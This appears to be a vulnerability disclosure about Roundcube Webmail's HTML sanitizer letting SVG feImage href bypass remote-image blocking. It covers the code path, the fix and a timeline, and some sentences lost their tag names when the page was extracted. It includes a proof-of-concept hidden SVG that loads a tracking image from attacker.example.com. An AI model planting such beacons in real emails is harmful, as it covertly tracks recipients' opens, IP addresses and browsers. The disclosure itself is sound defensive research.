Roundcube Webmail: SVG feImage bypasses image blocking to track email opens
Source: Hacker News
TL;DR
Roundcube’s rcube_washtml sanitizer blocked external resources on , , and , but not on . Its href went through the wrong code path and got allowed through. Attackers could track email opens even when “Block remote images” was on. Fixed in 1.5.13 and 1.6.13.
Vulnerability information
| Field | Value |
|---|---|
| Vendor | Roundcube |
| Product | Roundcube Webmail |
| Affected versions | , `href` on and “) and runs them through is_image_attribute(). That function blocks external URLs. |
Discovery
I got bored during my Christmas vacation and a SVG‑based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more.1 I spent a few hours reviewing rcube_washtml.php, checking which SVG elements were on the allowlist and how their attributes are sanitized.
stood out.[^2] Its `href` gets fetched on render, same as. But the sanitizer sends it through wash_link() instead of is_image_attribute(). Consequently, the “Block remote images” setting doesn’t apply to it.
Technical details
In wash_attribs(), every attribute hits a chain of checks. The first matching check wins:
if ($this->is_image_attribute($node->nodeName, $key)) {
$out = $this->wash_uri($value, true); // blocks remote URLs
} elseif ($this->is_link_attribute($node->nodeName, $key)) {
$out = $this->wash_link($value); // allows http/https
}
is_image_attribute() (pre‑fix)
private function is_image_attribute($tag, $attr)
{
return $attr == 'background'
|| $attr == 'color-profile'
|| ($attr == 'poster' && $tag == 'video')
|| ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
|| ($tag == 'use' && $attr == 'href')
|| ($tag == 'image' && $attr == 'href');
}
The href attribute is only matched for use and image. No feimage.
is_link_attribute()
private function is_link_attribute($tag, $attr)
{
return $attr === 'href';
}
Thus, for “:
is_image_attribute('feimage', 'href')→ falseis_link_attribute('feimage', 'href')→ true
The URL is processed by wash_link(), which passes HTTP/HTTPS URLs straight through.
Proof of concept
An invisible 1×1 SVG, positioned off‑screen:
<svg width="0" height="0" style="position:absolute; left:-9999px;">
<filter id="track">
<feImage href="https://attacker.example.com/track.png" />
</filter>
<rect width="1" height="1" filter="url(#track)" />
</svg>
When rendered, the browser evaluates the SVG filter and issues a GET request to the attacker‑controlled URL, revealing that the email was opened.
Impact
The “Block remote images” setting does not block this remote image. An attacker can confirm that the recipient opened the email, log their IP address, and fingerprint the browser.
Remediation
The fix (26d7677) collapses the separate use/image checks into a single regex that also includes feimage:
|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG
Now “ matches is_image_attribute(), is routed through wash_uri(), and the remote URL is blocked.
Action: Update to Roundcube 1.5.13 or 1.6.13 (or later).
Timeline
| Date | Event |
|---|---|
| 2026‑01‑04 | Reported to Roundcube |
| 2026‑02‑08 | 1.5.13 and 1.6.13 released |
| 2026‑02‑08 | This post published |
Footnotes
Footnotes
-
The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that haven’t been checked. ↩